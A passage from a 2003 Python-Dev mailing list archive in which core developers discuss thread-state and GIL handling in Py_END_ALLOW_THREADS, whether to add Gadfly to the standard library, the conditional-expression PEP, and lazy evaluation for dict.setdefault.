> current during processing.
> 
> This means that Py_END_ALLOW_THREADS then changes from:
> #define Py_END_ALLOW_THREADS  PyEval_RestoreThread(_save); \
> to:
> #define Py_END_ALLOW_THREADS  PyEval_EnsureThread(_save); \
> 
> Now, I understand that a complete blessing of this scheme will need more
> details - but I am concerned that *any* change to Py_END_ALLOW_THREADS will
> blow this scheme out of the water.  For example, the Win32 extensions have,
> in a few places, emulated Py_BEGIN_ALLOW_THREADS, and all of this code will
> need to change.  From my POV though, the only reason I needed these hacks in
> the first place was due to an incomplete thread state API, so such changes
> are worthwhile to me.  Other's mileage may vary.

If the issue is that there is (indeed very likely) code out there that
calls PyEval_RestoreThread() rather than using the macro, would it be
possible to change PyEval_RestoreThread() so that it acts the same as
PyEval_EnsureThread()?

> FWIW, I have a portable (ie, no windows specific code at all) "auto thread
> state" implementation fully working with the Win32all extensions.  These
> extensions do some funky things with threads and thread-states, and it all
> works perfectly.  However, it does rely on this Py_END_ALLOW_THREAD change.
> See the full patch at http://www.python.org/sf/684256

Alas, no time to review code this week. :-(

--Guido van Rossum (home page: http://www.python.org/~guido/)


From rjones@ekit-inc.com  Tue Feb 11 02:27:48 2003
From: rjones@ekit-inc.com (Richard Jones)
Date: Tue, 11 Feb 2003 13:27:48 +1100
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net>
References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <200302111327.48806.rjones@ekit-inc.com>

On Tue, 11 Feb 2003 12:40 pm, Guido van Rossum wrote:
> No PEP is needed, but I'd like to understand more of the mechanics of
> adding this to the distribution.  I've got no problem with adding more
> Python code to the standard library, but (as Brett mentioned) I'd like
> to keep the kjbuckets C code out unless we have a volunteer to both
> clean it up and maintain it.

The C code will go away soon, thanks to Anthony's efforts in the kjbuckets 
python module (the conversion to the new sets implementation, amongst other 
enhacements).


> Also, I just looked at the copy of gadfly that's part of Zope, and it
> is about 15,000 lines! (And that's only Python code -- no C code
> included, nor docs.)  Do we really need all that?

The cleaned up version in the sourceforge project is 11k. We may be able to 
remove the 1.2kloc parser builder.


>  Who is going to maintain it?

I have no answer for this. The sourceforge project has a number of 
maintainers, but there are old outstanding bugs which have had no attention 
(some even have patches). I'm afraid it's at the bottom of my priority list 
at present.


> Is somebody going to convert the gadfly docs (assuming
> they exist) into LaTeX?

I converted them to ReST as part of my cleanup, so a docutils writer which 
writes the python doc LaTeX format _should_ be possible (it'd be a 
nice-to-have for Python documentation regardless :)


> Or is it just going to be an undocumented
> pile of code that only people who happen to already know how to use it
> can really use?

It is documented already. Stuart is looking at implemeting the DB-API 2.0 
interface for it, so the doc will need updating at that point. That's not a 
mammoth task though.


   Richard



From mhammond@skippinet.com.au  Tue Feb 11 03:18:22 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Tue, 11 Feb 2003 14:18:22 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <200302110152.h1B1qix02897@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <002201c2d17c$3c084500$530f8490@eden>

> > However, to do this auto thread state work properly, I will
> > need to change the definition of Py_END_ALLOW_THREADS.
> > Specifically, Py_END_ALLOW_THREADS needs to be able to
> > handle the fact that the lock may or may not be held
> > when it is called (whereas now, the lock must *not* be held)
>
> Can you explain how the current thread, which explicitly released the
> lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when
> Py_END_ALLOW_THREADS is entered?

The short answer is that the current thread releases the lock (via
Py_BEGIN_ALLOW_THREAD), then makes the call it needs to.  This call may
synchronously call back into Python code, acquiring the lock.  Currently,
the rule is that the callback must also release the lock when done.
However, I am hoping to change things so that the callback code need *not*
re-release the lock when on the same thread.

The longer answer is to *why* I want to make that change:

Consider:

void SomeCallback()
{
	PyAutoThreadState_Ensure();
      ... do some Python API stuff.
      SomeOtherFunc(); // my helper function.
      ... more Python stuff.
      PyAutoThreadState_Release();
}

Now, consider SomeOtherFunc():

void SomeOtherFunc()
{
	// This function also needs to use the Python API
	// but is called from many many places, where the
	// Python context is not always known.
	// So use the auto-thread-state
	PyAutoThreadState_Ensure();
	.. use the api
	PyAutoThreadState_Release();
}

As you can see, we have *nested* calls to PyAutoThreadState_Release().  The
question is, in what state should PyAutoThreadState_Release() leave Python?

To maintain the current semantics, the state must be left *exactly* as it
was when we did the PyAutoThreadState_Ensure().  This would involve keeping
state for each nested AutoThreadState call, which is a PITA, and I believe
unnecessary. PyAutoThreadState_Release() can obviously not unconditionally
release the lock, else it will not be held by SomeCallback() once the call
to SomeOtherFunc() returns.

The semantics I hope to implement are that the Python GIL is only released
when the *last* nested AutoThreadState call on a thread completes.  This
should also help perf, as we can avoid a number of lock transitions.

So, if we consider an extension module:
PyObject *MyExtFunc(PyObject *args, PyObject *self)
{
   ...
   Py_BEGIN_ALLOW_THREADS
   // note the more common case is that "SomeCallBack" is
   // invoked *indirectly* via the function being called - but
   // for the sake of demo, let's assume a direct call.
   SomeCallback();
   Py_END_ALLOW_THREADS
}


When SomeCallBack() completes, the PyAutoThreadState_Release() call realizes
that this is *not* the bottom of the stack for this thread, so does not
bother to release the lock.  Thus, when Py_END_ALLOW_THREADS is hit, we find
that the current thread still has the lock.

However, if "SomeCallBack()" had been called indirectly on another thread,
then PyAutoThreadState_Release() *would* release the lock, as that call will
be the final _Release() for that thread.

...

> If the issue is that there is (indeed very likely) code out there that
> calls PyEval_RestoreThread() rather than using the macro, would it be
> possible to change PyEval_RestoreThread() so that it acts the same as
> PyEval_EnsureThread()?

Yes, this is probably best, but means the doc for PyEval_RestoreThread would
change - in particular:

: If the lock has been created, the current thread must not have acquired
it,
: otherwise deadlock ensues.

However, as we are lossening this up, I see no real problem.

> Alas, no time to review code this week. :-(

No problem - thanks for helping me ensure I stay on track.

Mark.



From python@rcn.com  Tue Feb 11 05:54:45 2003
From: python@rcn.com (Raymond Hettinger)
Date: Tue, 11 Feb 2003 00:54:45 -0500
Subject: [Python-Dev] Update to PEP308:  if-then-else expression
References: <002201c2d17c$3c084500$530f8490@eden>
Message-ID: <012e01c2d192$14ecf860$125ffea9@oemcomputer>

I updated the PEP for Guido van Rossum.

If the cron job is doing its thing, the results will be visible in
a few hours.

The update reflects updated thinking based on the discussion to-date.
It also summarizes a few posts from comp.lang.python.
Hopefully, it will serve to focus the discussion on the
best of the ideas and arguments presented so far.

* Out of order evaluation is out of favor.

* So are ideas that do not provide for short-circuiting.

* (if <condition>: <expression1> else: <condition2>) is in vogue.

* <condition> ?? <expression1> || <expression2> is a new contender.

* cond(<condition>, <expression1>, <condition2>) is viable if implemented
      as a keyword and has short-circuit behavior.  Note, the actual word
      is still an open question.  iif() got shot down quickly.

* Added a summary of a few ideas from the last couple hundred posts
      from comp.lang.python.


Raymond Hettinger


From Jack.Jansen@cwi.nl  Tue Feb 11 10:44:03 2003
From: Jack.Jansen@cwi.nl (Jack Jansen)
Date: Tue, 11 Feb 2003 11:44:03 +0100
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277
In-Reply-To: <BIEJKCLHCIOIHAGOKOLHMEHAENAA.tim.one@comcast.net>
Message-ID: <BCF4B71F-3DAD-11D7-8CF6-0030655234CE@cwi.nl>

On Monday, Feb 10, 2003, at 17:34 Europe/Amsterdam, Tim Peters wrote:

> [Jack Jansen]
>> ...
>> If you build with Apple's MPW compilers it probably is, but (a) these
>> compilers are horribly outdated and (b) it would take major surgery to
>> compile Python with MPW anyway, nowadays.
>
> In that case, can we remove the MPW #ifdef's from the Python core?  
> Things
> like object.c's

I would suggest waiting until after 2.4. At the time of 2.2 it was 
still possible for a truly brave soul
to build an extension module with MPW, and I while I've never tried 
this myself
I have no reason to believe this has broken. But the examples you give 
can definitely go,
if they bother you rip them out.

After 2.3 we can get rid of everything related to MacOS9.
--
Jack Jansen, <Jack.Jansen@cwi.nl>, http://www.cwi.nl/~jack
If I can't dance I don't want to be part of your revolution -- Emma 
Goldman



From ark@gmx.net  Tue Feb 11 11:10:29 2003
From: ark@gmx.net (Arne Koewing)
Date: Tue, 11 Feb 2003 12:10:29 +0100
Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request)
References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY>
 <87adh4lzh9.fsf_-_@gmx.net> <200302101948.h1AJm4J03334@odiug.zope.com>
 <1044907180.8719.117.camel@slothrop.zope.com>
Message-ID: <8765rrhy3e.fsf@gmx.net>

Jeremy Hylton <jeremy@zope.com> writes:
> On Mon, 2003-02-10 at 14:48, Guido van Rossum wrote:
>> I brainstormed for a few minutes with Fred Drake, the weakref expert,
>> but we saw many obstacles to implementing it.  It would be A Major
>> Project to implement this: it would require adding new methods to
>> weakref objects, and new pickling codes, and an extension to the
>> pickling and unpickling engines...
>> 
>
> I suspect that something like this feature could be implemented using
> persistent_id() and persistent_load().  The persistent_id() could do
> something special for weak references, returning a persistent id that is
> the id() of the referenced object.  The persistent_load() function could
> check for one in the memo and create a new weakref if it exists;
> otherwise, it would return None.
>
> The one hitch is that the only reference to an object might occur after
> the weakref.  The unpickler wouldn't know that the object occurred
> later.  Not sure how to finesse this problem; it seems to require a
> second pass over the pickle stream at some point, which is a major
> rewrite.  Perhaps the persistent_load() always returns a proxy object
> that isn't a weakref, but has the same interface.  When the unpickler is
> done, it gives all these objects a chance to check the memo for the real
> objects.  
>
That sounds somewhat familiar to me...
I've tried to implement this for the pickle module, but I've never
got it finished. 

The next ten days I'll be to busy to reinvestigate this.  
When I've more time (in eleven days :-) I'll try to really 
understand the weakref and Pickle/cPickle module implementations.



From jcea@argo.es  Tue Feb 11 12:23:35 2003
From: jcea@argo.es (Jesus Cea Avion)
Date: Tue, 11 Feb 2003 13:23:35 +0100
Subject: [Python-Dev] dict "setdefault". Feaure request or bugfix?
Message-ID: <3E48EB47.8CA7E77A@argo.es>

<https://sourceforge.net/tracker/index.php?func=detail&aid=684542&group_id=5470&atid=355470>

Reading "python cookbook" I reach a very intelligent
dictionary construction: to use dictionary "setdefault"
to avoid a "get" or a "try...except".

Nevertheless current "setdefault" behaviour is
questionable, since it evaluates the default value when
it is not necessary. In my mind, "setdefault" should
evaluate the default value when it need to use it, not
ALWAYS. Example:

>>> a={}
>>> def b() :
... print "hi!"
... return 1
...
>>> a.setdefault("hola","hello")
hello
>>> print a
{'hola': 'hello'}
>>> a.setdefault("hola",b())
hi!
'hello'

In the example, the "setdefault" evaluation is not
necessary since 'a["hola"]' already exists. But the default
function is called, although its return value will be
ignored.

This behaviour is not intuitive and I think it should
be changed or, at least, documented. The change would
be very welcome when the "setdefault" default code is
expensive, like my application. In any case, the change
would be ALWAYS more efficient, even in the tipical
"[]" case.

Perhaps a "form __future__ import setdefaultNG" would
be necessary to help to update legacy code?

Opinions?.

-- 
Jesus Cea Avion                         _/_/      _/_/_/        _/_/_/
jcea@argo.es http://www.argo.es/~jcea/ _/_/    _/_/  _/_/    _/_/  _/_/
                                      _/_/    _/_/          _/_/_/_/_/
PGP Key Available at KeyServ   _/_/  _/_/    _/_/          _/_/  _/_/
"Things are not so easy"      _/_/  _/_/    _/_/  _/_/    _/_/  _/_/
"My name is Dump, Core Dump"   _/_/_/        _/_/_/      _/_/  _/_/
"El amor es poner tu felicidad en la felicidad de otro" - Leibniz


From aleax@aleax.it  Tue Feb 11 13:33:45 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 11 Feb 2003 14:33:45 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?)
In-Reply-To: <3E48EB47.8CA7E77A@argo.es>
References: <3E48EB47.8CA7E77A@argo.es>
Message-ID: <200302111433.45925.aleax@aleax.it>

On Tuesday 11 February 2003 01:23 pm, Jesus Cea Avion wrote:
> <https://sourceforge.net/tracker/index.php?func=detail&aid=684542&group_id=
>5470&atid=355470>
>
> Reading "python cookbook" I reach a very intelligent
> dictionary construction: to use dictionary "setdefault"
> to avoid a "get" or a "try...except".
>
> Nevertheless current "setdefault" behaviour is
> questionable, since it evaluates the default value when
> it is not necessary. In my mind, "setdefault" should
> evaluate the default value when it need to use it, not
> ALWAYS. Example:

OK, you want "lazy evaluation", but only in a very specific case.

I don't think you're going to be able to get such a huge concept
into such a remote and obscure corner case.  If lazy evaluation
is ever to make its way into Python (and it would have many
benefits, as well as many costs), I think it would have to be
much more general *AND* clearly visible at the point of call --
ANY call to:
    whatever(a(), b())
MUST continue to ensure each of a and b is called before
whatever is -- both for backwards compatibility AND to respect
the principle of least astonishment -- that's how Python has
always worked and how anybody would expect it to work,
even if some binding whatever=somedict.setdefault had been
executed previously.

So, syntax is needed at the point of call to tell the program
_readers_ "this expression is passed as a lazily evaluated
argument" -- explicit is better than implicit.  And to let you
write your own callables which are ready to accept lazily
evaluated arguments, syntax is also needed on that side,
both to say "this argument can be a lazily evaluated one"
and to force the evaluation when and if it is necessary (the
latter might be implicit, but I think explicit is better).

E.g., a strawman syntax might be...:

def setdefault(adict, akey, ?avalue):
    if akey not in adict:
        adict[akey] = evaluate_now(avalue)
    return adict[akey]

to be called as, e.g.

setdefault(mydict, 'goo', ?makeavalue(x))

this would use ? for both formal and actual arguments to
mean lazy evaluation, and a new builtin to force the time
of evaluation.  Other choices are, of course, possible.


Alex



From rnd@onego.ru  Tue Feb 11 14:17:33 2003
From: rnd@onego.ru (Roman Suzi)
Date: Tue, 11 Feb 2003 17:17:33 +0300 (MSK)
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure
 request or bugfix?)
In-Reply-To: <200302111433.45925.aleax@aleax.it>
Message-ID: <Pine.LNX.4.44.0302111656000.1482-100000@suzi.com.onego.ru>

On Tue, 11 Feb 2003, Alex Martelli wrote:

> E.g., a strawman syntax might be...:
> 
> def setdefault(adict, akey, ?avalue):
>     if akey not in adict:
>         adict[akey] = evaluate_now(avalue)
>     return adict[akey]
> 
> to be called as, e.g.
> 
> setdefault(mydict, 'goo', ?makeavalue(x))
> 
> this would use ? for both formal and actual arguments to
> mean lazy evaluation, and a new builtin to force the time
> of evaluation.  Other choices are, of course, possible.

This could be good for the properties as well.
However I think omitted lambda is better and nicer:

def setdefault(adict, akey, avalue):
     if akey not in adict:
         adict[akey] = avalue(args...)
     return adict[akey]
>
> to be called as, e.g.
>

setdefault(mydict, 'goo', :makeavalue(x))

equal to 

setdefault(mydict, 'goo', lambda:makeavalue(x))


Alex, are we up to make a PEP for this?
(it's pretty simple change to grammar: no need to change anything else,
probably we can convince Guido to accept it due to simplicity.)

Horizonts for 0-arity lambdas are numerous. 

The idea is that "lambda" keyword is optional in some circumstances, like:

- as an argument in function call
- right after "=" in assignment
- in default value specification (in def statement)
(some other cases)


inline if then will be something like:

def iif(cond, true, false):
  if cond: return true()
  else: return false()

iif(cond, :1, :2)

This will clearly indicate to programmer that values are "quoted" (like 
in LISP) - not evaluated right now.

Sincerely yours, Roman A.Suzi
-- 
 - Petrozavodsk - Karelia - Russia - mailto:rnd@onego.ru -
 



From jcea@argo.es  Tue Feb 11 14:20:11 2003
From: jcea@argo.es (Jesus Cea Avion)
Date: Tue, 11 Feb 2003 15:20:11 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure
 request or bugfix?)
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it>
Message-ID: <3E49069B.FBD8FA@argo.es>

> OK, you want "lazy evaluation", but only in a very specific case.

Specific but intuitive, useful and efficient, nevertheless.

> MUST continue to ensure each of a and b is called before
> whatever is -- both for backwards compatibility AND to respect
> the principle of least astonishment

Well, that a dict's "setdefault" method invokes the argument function
only when necessary is far more intuitive and logical to me than current
situation. In fact there are already precendents, like boolean AND
construction, for example. Or the vary same "zip" built-in lazy
parameters evaluation works, for example.

Yes, lazy evaluation should be very useful although generators and
iterators helps a lot. But it is not the point that I'd like to study
here :-).

By the way, thanks for your (and David Ascher) "Python CookBook". I only
read 1/3 so far, but my money is already well paid :-). Last night I
went to bet at 4:30 in the morning... };-)

-- 
Jesus Cea Avion                         _/_/      _/_/_/        _/_/_/
jcea@argo.es http://www.argo.es/~jcea/ _/_/    _/_/  _/_/    _/_/  _/_/
                                      _/_/    _/_/          _/_/_/_/_/
PGP Key Available at KeyServ   _/_/  _/_/    _/_/          _/_/  _/_/
"Things are not so easy"      _/_/  _/_/    _/_/  _/_/    _/_/  _/_/
"My name is Dump, Core Dump"   _/_/_/        _/_/_/      _/_/  _/_/
"El amor es poner tu felicidad en la felicidad de otro" - Leibniz


From aleax@aleax.it  Tue Feb 11 14:44:12 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 11 Feb 2003 15:44:12 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?)
In-Reply-To: <Pine.LNX.4.44.0302111656000.1482-100000@suzi.com.onego.ru>
References: <Pine.LNX.4.44.0302111656000.1482-100000@suzi.com.onego.ru>
Message-ID: <200302111544.12379.aleax@aleax.it>

On Tuesday 11 February 2003 03:17 pm, Roman Suzi wrote:
> On Tue, 11 Feb 2003, Alex Martelli wrote:
> > E.g., a strawman syntax might be...:
> >
> > def setdefault(adict, akey, ?avalue):
> >     if akey not in adict:
> >         adict[akey] = evaluate_now(avalue)
> >     return adict[akey]
> >
> > to be called as, e.g.
> >
> > setdefault(mydict, 'goo', ?makeavalue(x))
> >
> > this would use ? for both formal and actual arguments to
> > mean lazy evaluation, and a new builtin to force the time
> > of evaluation.  Other choices are, of course, possible.
>
> This could be good for the properties as well.
> However I think omitted lambda is better and nicer:
>
> def setdefault(adict, akey, avalue):
>      if akey not in adict:
>          adict[akey] = avalue(args...)
>      return adict[akey]

<blink> I don't get it -- where are "args" coming from?

I do see that if a "lazily evaluated parameter" is just a
callable-without-arguments, then "evaluate_now" easily
collapses to "apply" (or the () operator) and no syntax is 
needed at the called-site.  I think I'd rather _have_ the
called-site syntax, but your proposal's simplicity of
implementation does help, of course.

> Alex, are we up to make a PEP for this?
> (it's pretty simple change to grammar: no need to change anything else,
> probably we can convince Guido to accept it due to simplicity.)

Yes, these are the pluses.  However, the PEP should also point out
the problems, i think -- the scarce visibility of that leading ":" and the
lack of any marker at the called-point (for arguments).  Hmmm....

> Horizonts for 0-arity lambdas are numerous.
>
> The idea is that "lambda" keyword is optional in some circumstances, like:
>
> - as an argument in function call
> - right after "=" in assignment
> - in default value specification (in def statement)
> (some other cases)
>
>
> inline if then will be something like:
>
> def iif(cond, true, false):
>   if cond: return true()
>   else: return false()
>
> iif(cond, :1, :2)
>
> This will clearly indicate to programmer that values are "quoted" (like
> in LISP) - not evaluated right now.

This is a nice use case (even though I'd call the function ifelse;-).  And
yes, thinking of that leading : as "quoting" does help.  Double hmmm...


Alex



From lalo@laranja.org  Tue Feb 11 14:37:06 2003
From: lalo@laranja.org (Lalo Martins)
Date: Tue, 11 Feb 2003 12:37:06 -0200
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?)
In-Reply-To: <200302111433.45925.aleax@aleax.it>
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it>
Message-ID: <20030211143706.GH17348@laranja.org>

On Tue, Feb 11, 2003 at 02:33:45PM +0100, Alex Martelli wrote:
> 
> def setdefault(adict, akey, ?avalue):
>     if akey not in adict:
>         adict[akey] = evaluate_now(avalue)
>     return adict[akey]
> 
> to be called as, e.g.
> 
> setdefault(mydict, 'goo', ?makeavalue(x))
> 
> this would use ? for both formal and actual arguments to
> mean lazy evaluation, and a new builtin to force the time
> of evaluation.  Other choices are, of course, possible.

+0.5

when nobody is looking I smirk at the fact that tcl has a feature python
doesn't ;-) (well, not really... it could be argued our lambda does the same
thing better)

Instead of a new builtin, I think the "lazy evaluation block" should be an
object; you can then call a method, in your example avalue.eval()

What happens if you don't add the ? to the call?  setdefault(mydict, 'foo', v)

IMHO it would still build a "lazy evaluation block" but somehow "already
evaluated".

One more important bit: what happens if you call .eval() multiple times?  Do
each one result in a new evaluation, or is the result cached internally?  I
can see use cases for both.  Perhaps ruling that each .eval() re-evaluates
the block works - then if you want to avoid it, just assign the result to a
local variable (explicit).


OTOH, off the top of my head I can't think of another valid use case for
this whole feature other than setdefault.

[]s,
                                               |alo
                                               +----
--
            Those who trade freedom for security
               lose both and deserve neither.
--
http://www.laranja.org/                mailto:lalo@laranja.org
         pgp key: http://www.laranja.org/pessoal/pgp

Eu jogo RPG! (I play RPG)         http://www.eujogorpg.com.br/
GNU: never give up freedom                 http://www.gnu.org/


From lalo@laranja.org  Tue Feb 11 14:39:05 2003
From: lalo@laranja.org (Lalo Martins)
Date: Tue, 11 Feb 2003 12:39:05 -0200
Subject: [Python-Dev] [meta] EIBTI: can we acronimize?
Message-ID: <20030211143905.GI17348@laranja.org>

I just realized I'm finally tired of typing "Explicit is better than
implicit".  Can we agree to call this maxim EIBTI?  Or is this too implicit?
;-)

[]s,
                                               |alo
                                               +----
--
            Those who trade freedom for security
               lose both and deserve neither.
--
http://www.laranja.org/                mailto:lalo@laranja.org
         pgp key: http://www.laranja.org/pessoal/pgp

Eu jogo RPG! (I play RPG)         http://www.eujogorpg.com.br/
GNU: never give up freedom                 http://www.gnu.org/


From aleax@aleax.it  Tue Feb 11 14:58:02 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 11 Feb 2003 15:58:02 +0100
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure  request or bugfix?)
In-Reply-To: <3E49069B.FBD8FA@argo.es>
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es>
Message-ID: <200302111558.02982.aleax@aleax.it>

On Tuesday 11 February 2003 03:20 pm, Jesus Cea Avion wrote:
> > OK, you want "lazy evaluation", but only in a very specific case.
>
> Specific but intuitive, useful and efficient, nevertheless.
>
> > MUST continue to ensure each of a and b is called before
> > whatever is -- both for backwards compatibility AND to respect
> > the principle of least astonishment
>
> Well, that a dict's "setdefault" method invokes the argument function
> only when necessary is far more intuitive and logical to me than current
> situation. In fact there are already precendents, like boolean AND
> construction, for example. Or the vary same "zip" built-in lazy
> parameters evaluation works, for example.

There are absolutely no precedents for ANY arguments to Python
callables being lazily evaluated.  Your opinion that the zip built-in
is an exception is seriously (and gravely) wrong.  The operators
and / or _do_ shortcircuit, but they have nothing to do with any
arguments going to any callables.

The rule now is:
  *ANY* time (and I mean *ANY*) you see:
       anycallable ( anargumentexpression )
  FIRST the anargumentexpression is evaluated,
  THEN its result is used as the argument to anycallable

*ALWAYS*.  *EVER*.  *NO* exceptions, EVER.

Your claim is that changing this rule into ones that continues with:
  EXCEPT if the value of anycallable is this very specific one,
      in which case the SECOND argument only isnt ...
is "INTUITIVE"?!

I think you are not applying the right principles of language
design, those on which Python is based: *NO* obscure special
cases, "convenient" shortcuts, "ad-hoc" exceptions.  Languages
that strive to use complicated rules instead of simple ones in
order to "read the programmer's mind" and "do what's most
convenient in a way that depends entirely on the context" are
inevitably destined to go the way of perl or PL/I - to unbearable,
atrocious complexity.


> Yes, lazy evaluation should be very useful although generators and
> iterators helps a lot. But it is not the point that I'd like to study
> here :-).

OK, let's keep "studying" how absurd it would be to make a
totally general, simple, universal rule substantially more complex
to cater for ONE obscure, rare corner case.  I think it makes a
great example on how NOT to design a programming language.


> By the way, thanks for your (and David Ascher) "Python CookBook". I only
> read 1/3 so far, but my money is already well paid :-). Last night I
> went to bet at 4:30 in the morning... };-)

Well, the thanks should really spread to the whole Python community --
over 100 contributors, over a dozen authors of chapter introductions --
but I'll gladly accept them for my own role;-).

But I'll be snide and point out that the idea of making one tiny
exception to a general rule for "convenience" in one obscure case
is easier to understand thinking you've slept little;-).


Alex



From duncan@rcp.co.uk  Tue Feb 11 15:12:55 2003
From: duncan@rcp.co.uk (Duncan Booth)
Date: Tue, 11 Feb 2003 15:12:55 +0000
Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure  request or bugfix?)
References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es>
Message-ID: <Xns931F9A4CA6288duncanrcpcouk@127.0.0.1>

Jesus Cea Avion <jcea@argo.es> wrote in news:3E49069B.FBD8FA@argo.es:

>> OK, you want "lazy evaluation", but only in a very specific case.
> 
> Specific but intuitive, useful and efficient, nevertheless.

One way to satisfy this would be to redefine setdefault something like 
this:

def setdefault(aDict, aKey, aValue=None, lazy=None):
   assert aValue is None or lazy is None
   if aKey not in aDict:
       aDict[aKey] = (if lazy is None: aValue else: lazy())
   return aDict[aKey]

Then your existing calls continue to work, but you have the option of 
specifying lazy evaluation, and the lazyness is clear at the point of call:

   myDict.setdefault(myKey, lazy=lambda:expensive_function(args))

No new syntax required (ignoring the gratuitous 'if' expression).
If this every gets implemented, sentinal values would be better than None, 
but I thought it better to keep the example simple.

I quite like Roman's idea for making lambda sometimes optional although

   myDict.setdefault(myKey, lazy=:expensive_function(args))

could be confused with := assignment in other languages.

-- 
Duncan Booth                                             duncan@rcp.co.uk
int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3"
"\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure?


From guido@python.org  Tue Feb 11 15:14:28 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 10:14:28 -0500
Subject: [Python-Dev] Re: GadflyDA in core? Or as add-on-product?
In-Reply-To: Your message of "Tue, 11 Feb 2003 13:27:48 +1100."
 <200302111327.48806.rjones@ekit-inc.com>
References: <3C8DB124-3D56-11D7-91DD-000393B63DDC@shangri-la.dropbear.id.au> <200302110140.h1B1ejk02792@pcp02138704pcs.reston01.va.comcast.net>
 <200302111327.48806.rjones@ekit-inc.com>
Message-ID: <200302111514.h1BFESP11311@odiug.zope.com>

> On Tue, 11 Feb 2003 12:40 pm, Guido van Rossum wrote:
> > No PEP is needed, but I'd like to understand more of the mechanics of
> > adding this to the distribution.  I've got no problem with adding more
> > Python code to the standard library, but (as Brett mentioned) I'd like
> > to keep the kjbuckets C code out unless we have a volunteer to both
> > clean it up and maintain it.

[Richard Jones]
> The C code will go away soon, thanks to Anthony's efforts in the kjbuckets 
> python module (the conversion to the new sets implementation, amongst other 
> enhacements).

That's good news.

> > Also, I just looked at the copy of gadfly that's part of Zope, and it
> > is about 15,000 lines! (And that's only Python code -- no C code
> > included, nor docs.)  Do we really need all that?
> 
> The cleaned up version in the sourceforge project is 11k. We may be able to 
> remove the 1.2kloc parser builder.

So that's the version that is being considered for inclusion in Python?

> >  Who is going to maintain it?
> 
> I have no answer for this. The sourceforge project has a number of 
> maintainers, but there are old outstanding bugs which have had no attention 
> (some even have patches). I'm afraid it's at the bottom of my priority list 
> at present.

Mine too.  Unless someone volunteers, I'm strongly against adopting
this code -- we can't have decaying code in the core distribution.

> > Is somebody going to convert the gadfly docs (assuming
> > they exist) into LaTeX?
> 
> I converted them to ReST as part of my cleanup, so a docutils writer which 
> writes the python doc LaTeX format _should_ be possible (it'd be a 
> nice-to-have for Python documentation regardless :)

Agreed.

> > Or is it just going to be an undocumented
> > pile of code that only people who happen to already know how to use it
> > can really use?
> 
> It is documented already. Stuart is looking at implemeting the DB-API 2.0 
> interface for it, so the doc will need updating at that point. That's not a 
> mammoth task though.

Great.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 11 15:25:21 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 11 Feb 2003 10:25:21 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: Your message of "Tue, 11 Feb 2003 14:18:22 +1100."
 <002201c2d17c$3c084500$530f8490@eden>
References: <002201c2d17c$3c084500$530f8490@eden>
Message-ID: <200302111525.h1BFPLi11401@odiug.zope.com>

> > > However, to do this auto thread state work properly, I will
> > > need to change the definition of Py_END_ALLOW_THREADS.
> > > Specifically, Py_END_ALLOW_THREADS needs to be able to
> > > handle the fact that the lock may or may not be held
> > > when it is called (whereas now, the lock must *not* be held)
> >
> > Can you explain how the current thread, which explicitly released the
> > lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when
> > Py_END_ALLOW_THREADS is entered?
> 
> The short answer is that the current thread releases the lock (via
> Py_BEGIN_ALLOW_THREAD), then makes the call it needs to.  This call
> may synchronously call back into Python code, acquiring the lock.
> Currently, the rule is that the callback must also release the lock
> when done.  However, I am hoping to change things so that the
> callback code need *not* re-release the lock when on the same
> thread.

Heh?  The point of Py_BEGIN_ALLOW_THREAD is to allow *other* threads
to run, while the current thread engages in actions that could block
indefinitely.  The code between BEGIN and END can cause any number of
callbacks to run.  If one of those callbacks grabs the lock and
doesn't release it, no other thread will be able to run, even if a
later callback causes the current thread to block waiting for an
external event!

> The longer answer is to *why* I want to make that change:
> 
> Consider:
> 
> void SomeCallback()
> {
> 	PyAutoThreadState_Ensure();
>       ... do some Python API stuff.
>       SomeOtherFunc(); // my helper function.
>       ... more Python stuff.
>       PyAutoThreadState_Release();
> }
> 
> Now, consider SomeOtherFunc():
> 
> void SomeOtherFunc()
> {
> 	// This function also needs to use the Python API
> 	// but is called from many many places, where the
> 	// Python context is not always known.
> 	// So use the auto-thread-state
> 	PyAutoThreadState_Ensure();
> 	.. use the api
> 	PyAutoThreadState_Release();
> }
> 
> As you can see, we have *nested* calls to PyAutoThreadState_Release().
> The question is, in what state should PyAutoThreadState_Release()
> leave Python?

